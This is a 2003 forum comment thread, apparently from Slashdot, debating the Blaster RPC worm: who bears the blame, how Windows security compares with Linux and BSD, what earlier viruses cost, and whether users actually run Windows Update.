agree that this is a disgusting act of vandalism and the person who wrote and/or spread the worm should be punished heavily if caught. This worm knows no boundaries, and unlike a email virus, it could cause tremendous damage and is far more malignant, therefore the intentions of its creator. RPC flaws are not new, they have existen in the Unix world for a long time, and now Windows is the next victim. I used to have respect for hackers who deserved respect, but as someone who's life are computers, I have lost respect for these people completly, and I hope they get caught and punished. This new breed of hacker is neither truly intelligent nor has any intentions to teach people a lesson. All they care about is do damage. Assholes.

Re:Thanks for nothing.

[Nucleon500]

Sorry, but the author is obviously not a Linux user. If he were, the virus would also DDoS sco.com.

don't abuse the word hacker

[gfody]

being a hacker is a good thing, don't feed the FUD. read here

From my hotel to work

[mhoover]

Here is a little something that you may or may not find slihgtly hilarious:

Word of fore warning - I am typing on a ONCOMMAND keyboard (hotel web TV) that is probably covered in beer and man glaze.

I had a mysterious reboot one night when tyig to access the "High Speed Suck-O-Net" That they try to charge $10/night for. After 13 hours of updati MS systems at work I wrote it off as "one of those things". Now I am starting to have second thoughts.

I can't use the internet in the hotel on my computer because everytime I do I get the "NT Authority/System RPC service terminated unexpectedly" then my Windows XP laptop (wasn't it supposed to be more secure?!?) shuts itself off. Not only taht the phone stoped worknig next to the bed, the receptionist downstairs thinks I am crazy for bitching about worms (how can worms get on the tenth floor?), this keyboard sucks and my coputer is infected with a DAMNED VIRUS that has already cost me $10 for the initial infction! I would like to find the ASSHOLE that wrote this POS and give his ass an unexpected termination!

Seriously though,
Why can't someone right a virus that get's into these ONCOMMAND systems (run on MS (P)OS) and tell it give everyone free porn? I would pay for it but I am afraid my TV will shut off half way through due to some bug and I would have to make the rest up!

I probably would have been able to respond to the 15 minutes of warning had I not had been patching other vulnerabilities these bastards keep finding.

BTW - I proudly run OSS for several of my (stable) servers but I am not in MY ofice, I am in a pure MS network. I will now be infesting it with a new "virus" according to the all knowing MS. it's a little thing calld Linux, anyone heard of it?

Well I supose I should get some sleep as I will have a couple hundred machines to clean at 6 AM and it's now 12:30. Off to bd where I shal dream of worms crawling htrough my head!

You just described my vision of hell

[Sevn]

I can imagine the day when the unknown security hole of the future comes careening through that expansive windows network and microsoft hasn't made a patch yet. I wonder how long before someone dies. Nothing personal, but I'd never consider Windows 2000 secure enough to bet my life, or anyone else's life on it. No FUD intended here. I'm being as serious as a heart attack. I'd go so far as to say that putting mission critical hospital systems on the Windows 2000 platform is criminal. I'd never trust my life, or a loved ones life considering their track record. And yes it IS that big of a deal. And it IS that serious. What you are describing is a serious tragedy waiting to happen. It's only a matter of time.

Re:You just described my vision of hell

[SubjunctiveSam]

Sorry if I was unclear, but my understanding is that there are no mission critical applications there that rely on windows.

Re:You just described my vision of hell

[Dunkalis]

I really wouldn't bet my life on any OS. I would be happier if they ran on at the very least Trusted Debian. OpenBSD would be better, but I'd only trust my life to a machine that runs a completely custom OS built for one purpose that does one thing, and does it well. Thats why I'd trust the computers in a car before I trust any other sort of OS.

I really don't have a choice, though, so here's to hoping that people have enough sense to at least stop using Windows on mission critical systems.

Re:You just described my vision of hell

[Sevn]

My bad. I read it as the exact opposite of what you wrote if you can dig that. :)

Re:You just described my vision of hell

[RoLi]

I can imagine the day when the unknown security hole of the future comes careening through that expansive windows network and microsoft hasn't made a patch yet.

SubjunctiveSam's strategy (saying how childish it is to write viruses and hope nobody does it again) will sure prevent that from happening.

This whole thread just shows that the Microsoft crowd still thinks of security as a pure PR-problem that will go away with blaming someone else than Microsoft.

Just listen to them: "It's the admin's fault!", "It's the virus writer's fault!"

All true, but it won't solve the problem at hand.

Actually one universal rule for all problems is: Whenever someone goes into "blame-someone" mode he doesn't have a solution.

The only reals solution to Windows-security would be market pressure (people actually stopping using Windows because of security), but understandably the Winlots hate that solution and prefer to play the blame-game.

Re:You just described my vision of hell

[Hektor_Troy]

Nothing personal, but I'd never consider Windows 2000 secure enough to bet my life, or anyone else's life on it.

Well, I wouldn't mind it if Bill Gates, Steve Ballmer et al were dependent on the stability and security of Microsoft's products.

Re:You just described my vision of hell

[NanoGator]

"I'd go so far as to say that putting mission critical hospital systems on the Windows 2000 platform is criminal."

And the alternatives are better? Doesn't matter which system you're on, you have to stay up to date with this stuff.

Re:You just described my vision of hell

[Viol8]

OpenBSD might be secure but its not as stable as other BSDs. Different cause , same effect as far as any patients are concerned.

Re:You just described my vision of hell

[Alioth]

My question is why hospitals are using CONSUMER grade equipment (hardware and operating systems) at all. A surgeon would probably try and choke you to death if you suggested he used consumer grade sterilizing equipment that people use to clean out their home brew beer kits to sterilizing his tools: why is it then acceptable to use consumer grade computers and operating systems?

Re:You just described my vision of hell

[Anonymous Coward]

win2k is actually qite secure but I would not trust my life to a COMPUTER(controlling life support stuff, and not keeping my billing info). what if the fan dies and system crashes? this would happen no metter what you have, linux, bsd, windows, whatever.

"I'm unaware of the [Microsoft] patch being available," said David Hugel, the deputy chief administrator of the MVA.
-thats he's problem, actually.
"we weekly update the virus protection"
-why don't you than check the M$ site more often?

ok, i'm not trying to say that mictosoft is innocent, but still, if you don't update any system it would get hacked easily in a month or so.

Re:You just described my vision of hell

[Tyreth]

Not a loss of life, but how long until one of these viruses propagates itself over a network, then within 30 minutes erases the computer's hard disk - ensuring it moves on, but at the same time lethally shutting down entire networks? That would have a very, very lethal effect on our society's functioning, with an even higher likelihood of loss of life.

Re:You just described my vision of hell

[GnuVince]

My OpenBSD box has never crash in over two years of usage. Would you call that unstable? Previous versions (>2.8) of OpenBSD had some problems, but that time is long gone: OpenBSD is absolutely rock solid.

Re:You just described my vision of hell

[Chanc_Gorkon]

Mission critical stuff is always backed up somewhere in the hospital and most hospitals I have been to stored everything ON PAPER as well. When the computer was not up, they used the paper. Patient systems rarely use a computer as well. They may use somethign embedded, but if they do it's not on the network and noone has access to it. Patient records are all that's usually stored on the system (and thats backed up by the chart at the nurses station). The risk of someone actually loosing a life to this is minimal. There more likely to loose a life because of some nurse accidently leaving a metal cart or O2 tank in the MRI facility (this happened....patient was killed) or some other goofy mixup like that.

Re:You just described my vision of hell

[Anonymous Coward]

>I'd go so far as to say that putting mission
>critical hospital systems on the Windows
>2000 platform is criminal.

I thought it was, according to the license about fault tolerance (or lack thereof) that states something like using the product for anything that would result in injury, loss of life, or damage to property if it doesn't work properly is not allowed.

Public perception and customer feedback

[rediguana]

I was at the gym for the 3pm NZST news today, and Microsoft took a hammering. Only Microsoft Systems are affected... MSFT this, MSFT that - I'd like to see what Microsoft New Bliss-Land do to spin this.

I've just checked their NZ home page and they are soliciting for feedback on customer feelings towards MSFT today, and have some obvious customer advice in big, bright colours. Microsoft US doesn't seem to care in comparision.

The feedback form has three cute faces with various different states from happy to angry on them. Perhaps you may want to give them some feedback to ;)

Re:new comp infected within 3 minutes of first boo

[Meorah]

So my question is, why are machines still being shipped with vulnerable versions of Windows XP?

because it would cost them (PC manufacturers) lots of money to stop shipment on all those systems and reimage them all over again. they would be glad to toss a CD in the box if they kept track of which hard drives were in which systems, but they don't. honestly, just make your own damn cd. it will work until the next service pack is released, and then you'll have a brand new office frisbie to play with. you can't lose!

That and a simple firewall

[KalvinB]

Getting hit by this worm demands complete apathy towards patching your system. One faculty member at the University I do tech for was complaining about doing patches. It's so hard to open IE go to tools and then Windows Update and click a couple buttons. If that. We tend to set Windows to automatically download and install critical patches and then cross our fingers and hope the users are too lazy to disable it.

In my case I just run a $50 router with NAT that blocks everything I don't need which makes the entire house network of around 10 computers immune from this worm regardless if they're patched or not.

This worm doesn't prove anything. Linux users need to be patching their systems as well and when it becomes mainstream it'll be the target of script kiddies as well. It's just pointing out what techs all know: people are lazy and don't care until it's a problem.

Ben

Re:That and a simple firewall

[StormReaver]

I have to disagree. Getting hit by this worm, due to not patching your Windows system, requires only past experience with prior Windows upgrades.

I agree that you have to cross your fingers when you accept a Windows upgrade, but not because users might disable the upgrade. You are actually crossing your fingers that the upgrade doesn't do more harm than good. There are several cases where a Windows "upgrade" disabled previous upgrades, re-enabled prior vulnerabilities, or simply killed the system.

Getting hit by this worm does not make a person a laughing stock. It merely means that the 50-50 gamble landed on the wrong side this time. Next time the people who don't patch may be the ones who are the least vulnerable.

Re:That and a simple firewall

[Chanc_Gorkon]

Funny. Just bought a laptop last week and wint to Windows update as soon as it was on the network. 47 critical patches (some of which covered multiple things). There were a few other things....a driver update and a couple enhancements, but nothing wild and it worked perfectly. That does not even happen on Linux! I ain't saying using Windows Update has never broken a system, but they have been better recently.

Re:That and a simple firewall

[pjrc]

I installed redhat 9 last week on a new machine, activated the demo redhat network account, and downloaded about 120 megs of updates. So the volume of updates is similar.

However, many of those updates are for very minor security problems... the sorts of things Microsoft would not even bother to fix.

Re:That and a simple firewall

[Anonymous Coward]

I found that IE was too big of a security hole. So I removed it from my PC.

It turns out that "Windows Update can only be accessed by Internet browsers that support ActiveX Controls."

So the only way to stay up on security patches is to run an insecure browser?

Re:That and a simple firewall

[Pius II.]

I installed OS X 10.2 three weeks ago, connected to System Update, and found _three_ updates. One "Combo Update 10.2.6", and two Security Updates. I had to reboot once after that.
Given my experiences with Windows Update, for 47 updates you'd have to reboot about 50 times.

It may not have been on the Windows Update page...

[Penguin Follower]

...but it was available and recognized by the automatic updates service I have running on my Win2k Server... I noticed the automatic updater flashing in my systray on Monday, August 4th(and it was probably available before then... hadn't looked at the system in 2 days), saying that a new update was available. After looking at the attached description I of course decided to install it.

In all seriousness, the automatic updater should be running on ALL home users systems, and system admins can set it to "prompt before downloading AND prompt before installing" so that you can cancel or delay if need be (for whatever reason.. testing, etc).

Speaking of Money

[MacFury]

Every once in awhile I hear about companies forecasting how much money will be lost due to lost productivity and downtime of infected computers.

Has anyone compiled a list to see something like how much M$ has cost the world due to insecure software?

I would guess it's a couple billion dollars by now. Why does no one care?

Re:Speaking of Money

[Anonymous Coward]

Sounds like the basis of a futures contract.

See
http://www.americanactionmarket.org/concept .htm

--rgb

Re:Speaking of Money

[Robmonster]

And how much have they made in Gained Productivity by providing tools for people to generate complicated spreadsheets / print their own stationary / produce business winning presentations?

Not that MS are the only providers of this software, but you have to balance what inconveniences they cause against the benefits they have given.

Re:Speaking of Money

[Klast]

In theory monetary compensation was paid in return for the Gained Productivity, ie. buying the software. Which means you could argue that monies should go the other direction when some of that productivity is lost. Yes, yes I can see this turning into an empirical argument over the total value of loss + gain.
But thanks to blind acceptance of all-encompassing EULAs, this argument is a lost cause anyway.

Re:Speaking of Money

[Anonymous Coward]

Because the alternatives SUCK (yes, that's a captial S U C K)

Re:Speaking of Money

[FatherOfONe]

Good point, but NOBODY seems to fault Microsoft in this issue. They hold some of the blame for this, and I hope that people start to wake up and realize that this IS the additional cost of working with a Microsoft system. This has to be factored in with the total cost of ownership. But yet you NEVER see this in a Gartner report. Why? I spend around 1-2 hours a week on average working with virus issues on our Microsoft software and almost ZERO on all our other systems.

Gates and company made Windows programs easy to integrate (DDE, OLE etc) but they NEVER took security seriously, then when they started to make a NOS and those same BAD habits followed. Remember that Windows 95 use to send your password in CLEAR TEXT over the network!!! What serious company in their right mind (in the 90's) would have designed anything that way? They ignored security to give people like you "features". Well now one of those "features" is an un-secure operating system.

I could just imagine people that own a GM car had some hacker who could use the onstar stuff to shut down their car while they were in it. Granted, I think they would be initially mad at the person who caused this, but if it happened again and again and again and again, they would probably not buy a GM car again, and their anger would turn to GM. I wonder when this type of thinking will turn to Microsoft. How many systems will have to be down for days?

Yes I realize that this can't happen with a GM car, I am just using it as an example.

By the way, did you try and get a patch from their site yesterday? That sure was fun!!! I actually managed to get one 98 system updated at around 8:00pm est.

Re:Speaking of Money

[tsa]

Interesting point. Recently I heard that M$ has bought a company that makes anti-virus software. So now they can earn more money by selling their crap. Now they can even hire people to write new virii (viruses? we had this discussion long ago...) for them!

Re:Speaking of Money

[timmyf2371]

Why a list of how much Microsoft has cost the world due to insecure software?

Why don't we have a list of how much virus/worm authors have cost the world due to their unacceptable antics instead?

No software is 100% secure, and I'll agree that MS has had their fair share of security exploits, however, suggesting that MS is solely responsible for incidents such as this is like saying that that the maker of a knife is solely responsible for a stabbing, completely ignoring the fact that there are criminals who take advantage of certain products.

Re:Speaking of Money

[Anonymous Coward]

>> I actually managed to get one 98 system updated at around 8:00pm est.

Hmmmm, you didn't even need to do this since win98 wasn't in the attack...

Re:Speaking of Money

[jedidiah]

Microsoft has a duty to prevent forseeable harm to others. There's simply NO wiggling out of this. If you make a crap product and someone else acts as the fuse, you're still on the hook for making a crap product.

Windows: Unsafe at any speed.

Re:Speaking of Money

[Geek of Tech]

>>> No software is 100% secure, and I'll agree that MS has had their fair share of security exploits, however, suggesting that MS is solely responsible for incidents such as this is like saying that that the maker of a knife is solely responsible for a stabbing, completely ignoring the fact that there are criminals who take advantage of certain products.

No, a more accurate sounding comparison would be getting mad at a knife maker for goofing up and putting blades at both ends and no handle.

Or getting mad at a tire manufacturer, I'll make up a name - firestone. Getting mad because these firestone tires blow out randomly and make people have all sorts of wrecks. Yeah, that sounds more like it.

Re:Speaking of Money

[EnigmaticSource]

[[Insane Conspiracy Rhetoric]] What if Microsoft Released the Virus themselves in order to force us to accept the draconian licensing terms in SP3+ [for 2k] and SP1+ [XP]. [[End Conspiracy]]

Re:Speaking of Money

[SEWilco]

People put up with the problems of MS systems because people don't know there are alternatives.

Everyone sees all the computers in the office crash regularly.
Everyone knows what CONTROL-ALT-DELETE does.
Everyone knows that a reboot is common and is the first thing to try when there is a problem.
Everyone knows that computers break easily, no matter how reliable the circuitry is.

That's just the way things are. Computers crash, viruses attack, tires go flat, rain falls on your picnic. Live with it, there is no alternative.

When people know there are better possibilities they look at the options.

Re:Speaking of Money

[SillySlashdotName]

"ILOVEYOU" virus 2.6 - 15.0 Billion

BBC California-based IT consultancy Computer Economics estimated worldwide damage to be $2.6bn by the end of Thursday. It said that figure could soar to $10bn by next week.

USAToday

Lloyds of London put the estimate for Love Bug at $15 billion.

Melissa 1 Billion

USAToday

the economic damage from the Melissa virus in 1999 to be about $1 billion.

CodeRed 2.6 Billion

BizJournals.com

"Code Red, which started in mid-July, so far has cost the U.S. economy $2.6 billion."

Klez 9 Billion

The Register

"The Klez virus last year cost businesses $9 billion worldwide in lost productivity,"

SirCAM 1 Billion

BSTPierre.org

"SirCam", which also propagates through email, cost $1 billion.

TOTAL for these alone: at least 16.2 - 28.6 billion

Re:Speaking of Money

[FatherOfONe]

I know, but they had another issue with I.E. 6 that an updated supposedly fixed.

Re:Speaking of Money

[King_TJ]

Yes, and no. For one thing, Microsoft OS based systems have the lion's share of the market, so people wanting to inflict damage/do harm by coding a virus are going to do the logical thing and target a Microsoft OS.

If 95% of the desktops and servers were Linux-based, I really do believe you'd see more Linux security flaws exposed and taken advantage of. (No, I don't think Linux is nearly as "slapped together" as most MS code. No, I don't think it's going to be as "insecure". But yes, I do think it currently benefits from far fewer hackers having an interest in discovering and exploiting flaws in it.)

Also, I'm not really certain how many of Microsoft's security issues are due to recently-created portions of their code, as opposed to flaws in older code that finally got fixed? Quite a few of the security patches deal with code that's at least 3+ years old. (Anything for Windows '98, for example.) Once the bad code was developed and put out there, the only options are to ignore it, or release update patches. To Microsoft's credit, they are actively patching things.

If this rate of security flaw finding continues with the current code they're releasing, then folks *do* have a right to complain, long and loud, that MS has *NOT* made good on their promises to take security more seriously. Right now, I think maybe it's still too early to tell if that's the case or not? All I can say is "Here's hoping they keep up those patches, to iron out the old/buggy stuff."

Re:Speaking of Money

[pmz]

And how much have they made in Gained Productivity by providing tools for people to generate complicated spreadsheets / print their own stationary / produce business winning presentations?

Citing Microsoft for gained productivity is fallacious. CPU/RAM/Disk speed and capacity increases should be given more credit, as word processing and spreadsheets have not improved dramatically in well over a decade.

Even in the late 1980's my Commodore 64 with GEOS and a Okidata printer did very good word processing. Microsoft has done nothing other than genius marketing and spinning information until most people can't think of anything but their products.

When will people realize that Microsoft's main business is not even technology?

Re:Speaking of Money

[CowboyMeal]

And maybe they can even rival their 33% detection rate in the good old days when they bought central point!

Just watch out for the chklist.ms virus

Re:Speaking of Money

[Anonymous Coward]

By the way, did you try and get a patch from their site yesterday? That sure was fun!!! I actually managed to get one 98 system updated at around 8:00pm est.

This exploit doesn't affect win98 fool.

Re:Speaking of Money

[FatherOfONe]

Ok, I hear the argument all the time with the 90% marketshare. Using that figure I should see 1 virus for all other systems for every ~20 I see for Microsoft. I don't.

The issue is that Microsoft doesn't take security seriously. Heck look at ActiveX compared to Java. Granted Applets suck to deal with, and the "sandbox" is not fun to play in, but at least Applets don't...
Hijack your browser bar.
Put spyware on your system.

Microsoft has done one thing great. They make it easy for "normal" people to work with a computer and manipulate data. However in doing so, they ignored security to provide features.

Could you imagine how much Novell, Oracle, Sun or IBM would love to not spend resources on security and testing? To Microsoft's credit, they focused on what the consumers wanted, and the consumers DIDN'T care about rebooting multiple times a day, and virus issues. All I am saying is; at what point will those customers care? and don't blame the virus writers any more, when a high school kid with time on his or her hands can take down a large portion of the worlds computers, Microsoft should shoulder a lot of the blame!.

Thank God some people are starting to get this concept now.

As for Microsoft having issues with only "older" code; I say nonsense! They released Windows Server 2003, and if they new about this type of bug before but didn't want to mess with legacy code then they had their opportunity to fix it, heck they could have even put this in a service pack months ago (not days ago). Now if this WAS some smaller company, that could almost be overlooked, but this is a company with over 40 BILLION in the bank. These types (and there are many), of issues should not come from the worlds largest and richest software manufacturer.

I hazzard to think of the day when someone puts some really nasty stuff in one of these security holes! This could have been far far worse.

Lastly, if this was just ONE isolated incedent, then I could overlook it, but this has been an ongoing issue with Microsoft for over a decade.

Re:Speaking of Money

[Mikeytsi]

I'd rather see a list compiled of how much shitty admins have cost the world by failing to install a patch that has been around since JUNE.

How's about you go install a Linux system, and NEVER patch it, and see how long it is before it get's hacked? Let's put the credit here where it's due, on people that are just too fucking lazy to check out windows update every once in a while.

Re:Speaking of Money

[elton247]

If your bank was consistently robbed wouldn't you start blaming the bank for not increasing their security? Of course its the fault of the thieves, but given human nature, you expect your bank to take precautions. Eventually, if not right away, you would take your money somewhere else.

Re:Speaking of Money

[garwain]

I've re-installed 3 machines in the last 2 days, and was able to get one up to date.

Re:Speaking of Money

[mfchater]

Just a thought, but if another OS was as widely used as MS, I am quite sure in thinking that they would be the victim of more attacks. Just my two cents.

Re:Speaking of Money

[FatherOfONe]

I might actually be a fool, but that is another story.

I NEVER said that I was loading the patch for a 98 system. I said that I needed a patch for a 98 system. The patch I needed was for Internet Explorer.

I gave up on the NT based patches at 6:00pm EST.

Also, at least I have guts enough not to post Anonymously.

Re:Speaking of Money

[FatherOfONe]

That might be. But look at Java applets vs ActiveX controls. Java Applets are all over the place and they perform very well. They had security designed up front, and you have to play in the "sandbox". Now the abomination that is ActiveX.... that is another story altogether.

So using your analogy, there should be a lot more holes found in Java apps than ActiveX controls, but there isn't.

Exactly!

[Anonymous Coward]

You nailed right on the head, pal. I've been saying this many times, but you've mastered it in your clear, concise comment.

Congrats!

Lee Nooks.

Re:WMW: Whatever McDonald's Worker!

[Sevn]

What was it that really made the worm possible?

Leaving RPC open by default. As much as I like where you are trying to come from, this is indeed a Microsoft problem that they created themselves. When you have 50 FUCKING BILLION dollars in the bank, a major majority of the market, and this type of crap keeps happening, you should probably think about spending a few billion on making products that don't cost your customers insane amounts of money and lost productivity due to down time because of pathetic security and coding practices. It's just a thought.

Better to be worm'd than exploited

[Anonymous Coward]

Wow MVR's would be fun to have control over

your boss

[DRWHOISME]

Calling me a dumbass ?????? True.......I am.......

Your fired !!!!!!!!

The writer has an obvious agenda.

[commodoresloat]

They did it because they love San.

Re:The writer has an obvious agenda.

[Rob Simpson]

This San? Clearly, the feds just have to look for a guy riding a red elk...

Re:The writer has an obvious agenda.

[Jason_says]

How do you know that SAN isnt initials for some one. Sara Alica Nicole?

I hate to brake it to you too....

[Anonymous Coward]

But there is a world of difference between pedantic and erudite. Good luck with that in the future.

Re:I hate to brake it to you too....

[Anonymous Coward]

don't forget the difference between style and substance.

Re:I hate to brake it to you too....

[Anonymous Coward]

There's also a world of difference between break and brake. Good luck on your quest to learn English.

Re:its important to note that windows update patch

[Meorah]

YOU only THINK that windows update is good and paranoid neurotics are bad because you turned on windows update and allowed MS to indoctrinate you with lengthy dissertations on the evils of paranoid neurotics and the benefits of windows update. this feature flashes the information on the page once every 30 frames, and was ironically installed by the windows automatic update feature.

magic FUD

[Rozinante]

Remote Procedure Call (RPC) is a protocol used by the Windows operating system. RPC provides an inter-process communication mechanism that allows a program running on one computer to seamlessly execute code on a remote system. The protocol itself is derived from the Open Software Foundation (OSF) RPC protocol, but with the addition of some Microsoft specific extensions.

So now can they shift some culpability to the OSS community?

geez.... the audacity.

-Phil

This is so true

[Anonymous Coward]

just getting sick of, "good, that will teach them, hahaha" "it is their fault for running M$". That is bullshit and you know it.

So true. It's not a haha funny thing at all. It's more of a "why do these dumbasses keep using windows for mission critial things. It is their fault for installing windows" if anything. It's a serious and disturbing thing.

Thank you Linux-Lover!

[Anonymous Coward]

To the person who wrote the virus -- We know you are reading this forum. We just want you to know that we appreciate your fine efforts at destroying the mega-monolith. You are a hero to us, and we will always hold you dear to our hearts, as dear as you hold San!

Re:Thank you Linux-Lover!

[Anonymous Coward]

To the person who wrote the worm -- When they catch up with you, I hope they're not reckless and bust out ALL your teeth before turning you over to the authorities. You'll need at least a few of those teeth for something, probably.

DEFINITELY

[Anonymous Coward]

but true, oh so true.

The word is redundant, not insightful

[Anonymous Coward]

>you don't want this kind of rubbish, don't use >Microsoft.

something that is obvious and that all agreed on
should not be treated as an insightful comment.

The responses on this topic could have only been worse had 99% answered "I agree....Me too...Uh-huh" or similar.

"Doctor, Doctor, it hurts when I lift my arm like this"
"Dont lift it like that then."

Re: MICROSOFT ISN'T AWESOME

[name773]

yes it will. there's a windows emulator called wine available here.

Makes ya wonder....

[Anonymous Coward]

If they had spend 20 billion on making sure their products didn't COMPLETELY FUCKING SUCK instead of putting 60 billion in the bank, maybe we wouldn't be fucked over by their shitty software all the time.

hahahahaha

[Cat_Byte]

This is funny. An exploit comes out, MS puts out a patch, /.ers bash MS for not having it out in time. An exploit comes out, MS puts out a critical update weeks ahead of time, /.ers bash MS for needing a patch. A script kiddie brings Windows to it's knees, /.ers say it's ok because it was MS. A script kiddie attacks *nix, /.ers say "OMG they killed *nix! You bastards! Oh well it will be back in the next patch."

An exploit comes out for *nix, they put out a patch, /.ers praise them for patching it even if it comes out after the exploit has been used to vandalize *nix systems.

This attitude makes me hate *nix with a passion. If it's so great then learn to program and help them make my applications run on it. I have 2 flavors of *nix running at my house and I use the Windows machine 99% of the time.

Re:hahahahaha

[Anonymous Coward]

BWAHAHAHAHAHA...flamebait....how funny moderators on crack can be.

Re:Windows rules.....obviously

[mad flyer]

People don't want ease of use, they want something that do the work for them, or that they can blame for not working.
And over all they don't want to remove their fingers out of their ass to learn just a little how things are supposed to work (like... let say learning to drive cars)
When you try to explain something they immediatly bitch by saying they are not computer technicians... they just want the work done, without knowing anything about how to do it...
I don't want to troll... but it's difficult to blame the last virus for not beeing on time for a project when you are on something else than windows.

Re:its important to note that windows update patch

[Anonymous Coward]

way to bash microsoft with the "microsoft is trying to control you" argument and skip over the actual discussion.

Windows Update and regular users

[TechStuff.ca]

How many Windows users actually use Windows Update?

I'm convinced that most regular users do not "get" what Windows Update is for, and see no tangible benefit to using it until/unless their system crashes. It's a bit like backing up the hard drive -- most people won't do it until a bad experience convinces them it's worthwhile. (This goes double for dial-up Internet users, who have to babysit giant downloads, and may have to start from scratch if they get disconnected.)

I think Microsoft needs to add some kind of positive reinforcement and explanation of the value of the Windows Update service. Even a big splash screen at the end of each update that says "Your computer is more secure!" would be an improvement.

In my experience, Windows Update works pretty well in Windows XP. Updates can be set to download and install automatically, or download then notify, or simply notify when updates are available. The system works.

By my very unscientific reckoning, however -- based on the visitor logs on my Web site -- the latest Windows (XP) accounts for just 50% - 60% of current Windows users. 20% are still running Windows 98 (and 20% are running Windows 2000).

Why does that matter? Remember that Windows Update in Win98 was not automatic. In fact, it often completely failed to work!

Many of today's users had at least one bad experience with Windows Update before Microsoft got the bugs out. (You might recall that the Win98 version had several "known issues" including the infamous "freezes at 0%" problem that completely prevented users from accessing the update system.

Microsoft also alienated some users in the early days of Windows Update by marking unnecessary (even unwanted) system software as "Critical Updates." If I remember correctly, version 1.0 of buggy and bloated Internet Explorer 6 was installed as a "Critical Update" to IE5.

In short, Windows 98 users who tried Windows Update learned these lessons:
- Windows Update doesn't work very well (or at all)
- the updates do not appear to make any difference
- Microsoft uses this system to force unwanted software on me

It's no wonder many Windows users don't bother to fire up Windows Update. And as long as some Windows users are apathetic (or actually hostile) towards the update system, EVERY Windows user is vulnerable.

(A brief digression: users who have dial-up Internet accounts are less likely to use Windows Update than broadband users. They would need to see some major tangible benefit to keeping their systems up-to-date. Big downloads are relatively painless with broadband, but they're a major hassle for dial-up users -- especially to anyone who pays by the minute to be connected.)

Anyway.

It's clear that automatic updates are the way to go. Microsoft could easily fix the whole problem by issuing free software to make "Critical Update" downloads automatic in older versions of Windows. That would eliminate a major reason for upgrading to XP (i.e. because Win98 is insecure by default), but it would benefit ALL Windows users.

But there's the rub: this would eliminate a major reason (perhaps THE major reason) to move from Win98 to WinXP.

I spent more than an hour on the phone today with a friend whose Windows XP system was infected by the Blaster worm. She thought she was safe -- she has anti-virus software, she updates her virus definitions daily, and she thought she was using Windows Update regularly. (She was wrong, as it turns out -- Windows wasn't up-to-date, although she swears she said yes to automatic updates sometime last week.)

If a bright, conscientious, well-meaning user can get burned by this system, there's something wrong.

Solutions? I think "Critical Updates" should be mandatory for all Windows users. If people refuse to update the updated system software, Windows would shut down after a reasons period of time -- say 30 days -- until the user agrees to get the Critical Update.

Another idea: write and distribute th

Re:Windows Update and regular users

[IM6100]

Solutions? I think "Critical Updates" should be mandatory for all Windows users. If people refuse to update the updated system software, Windows would shut down after a reasons period of time -- say 30 days -- until the user agrees to get the Critical Update.

Well, isn't that an interesting suggestion. We could do that with Linux and other OSes as well.

Users need to connect to the Red Hat Update Website and download updates. The updates will be new binaries. Unless you connect and download said updates, your machine shuts down in two days.

Why do I get the feeling that wouldn't be popular?

Re:Windows Update and regular users

[slide-rule]

I'm convinced that most regular users do not "get" what Windows Update is for

I just got back from visiting "the relatives" all of last week. Heartland area of the US. Farm-type folks that grow food many of you eat. Anyway, the parent poster's statement is correct. These people have a few PC's as a matter of modern necessity. One of these (win98) runs a payroll app, is connected via dialup to the internet, is connected via ethernet to two other "critical" systems running WFW3.11, and was running a *completely* unpatched version of IE4.0 / Outlook Express. Oddly, they didn't have near the problems one might expect for all this (impressively, ad-aware came up clean aside from cookies) but when I mentioned "Windows Update", which sits right there on the Start Menu plain as day, to my relative who runs the '98 box, all I got was "what's that?".

My early-teen cousin was running his family's 98 box similarly. Unpatched. Ad-aware found all manner of crap that might just have, with luck, woken him up. Still, I had to explain all this nonsense, including *what* windows update was, *how* to run it (click here, click here, look the list over, click this, wait. reboot. repeat until the list is empty), how spy-ware/ad-ware differs from virii/worms, etc.

These aren't stupid people. Ignorant of the complexity of things that we all here take for granted. (In fact, I'd wager we give "joe sixpack" too much credit, not that I'm calling dumb on the world or anything.) It is just that their priorities are differently aligned than the hobbyist/admin types here (or that of people who try to design software with these people in mind, even). It was an eye-opening experience.

Now, to the credit of my linux geek membership, I might be able to upgrade the WFW systems to hardware made inside this decade and run the critical software in dosemu or the like, put the dialup on a firewall, and other things before they get convinved to shell out $20,000 on software and hardware upgrades this time next year.

Re:Windows Update and regular users

[Blackknight]

People are lazy. Using windows update requires effort, which most users don't care enough about it to take the time.

XP has it right, updates should download and install by themselves. Those who are paranoid can always turn it off.

Re:Windows Update and regular users

[iantri]

Oddly, they didn't have near the problems one might expect for all this (impressively, ad-aware came up clean aside from cookies) but when I mentioned "Windows Update", which sits right there on the Start Menu plain as day, to my relative who runs the '98 box, all I got was "what's that?".

My early-teen cousin was running his family's 98 box similarly. Unpatched. Ad-aware found all manner of crap that might just have, with luck, woken him up.

This is all because "the relatives" aren't the ones likely to install random crap of the internet (Bonzi Buddy!).. they're likely to use the PC for what they need to to and get off it.. they really don't want to fiddle with it.

The early-teen cousin is likely to be downloading all sorts of shit off the Internet and generally thinking he or she has some idea what they are doing.

Re:Windows Update and regular users

[slide-rule]

Your analysis is accurate enough. The point being made on my end, though, is less that they are unlikely to install the stuff and more that they don't want to break anything in the process. This attitude at one level or another is why people (1) aren't familiar with the concept of updating windows (in spite of our insistence that they are) or (2) are familiar but are not comfortable doing so. This then, from my way of thinking, is more of a reason for the big unpatched worm-exploitable problem than "people are too lazy to do it" that seems to be a common attitude here and elsewhere in tech circles.

I know, i know

[brsmith4]

That new virus that's out, it wouldn't be called Service Pack 4 by any chance, would it?

Re:Thanks for nothing.

[Anonymous Coward]

Uhhh... Don't you have to actually load Windows inside any of these emulators??? Doesn't that mean you are USING Windows to test the virus?? dumbass

Re:Here's to you, Virus infected Windows Admin Guy

[silas_moeckel]

Not a bad idea untill you get the prissy Programing dept that cant have there sacred cow of a test server touched or the VP of sales that needs to bring his plauge ridden network onto the network and refuses to loose admin rights and the ability to override virus software.

Now granted mostly I'm a consultant so I actualy sugest the right course of action sometimes I win and other times expediance and bad addituded win generaly from the non IT department. Things in midsized shops like you mean I cant have local admin period? but I'm a programmer I need local Admin to install things. or the high and mighty sales guy who needs to open exe's from his email to do his job (yea because people allwasy send each other .exe's in email) granted he clicks on everything presented that looks official.

KKKlickable

[Anonymous Coward]

http://www.dslreports.com/forum/remark,7652257~roo t=security,1~mode=flat

Linix might be just as vulnerable

[ptarjan]

I hate to have to say this to you guys, but the only reason Microsoft is having all these exploits published for their OS is the fact that they controll most of the market share!

If linux starts to become prolific, you know what? People are going to start looking harder for worms and I can guarentee you that the same amount will start coming out for that OS.

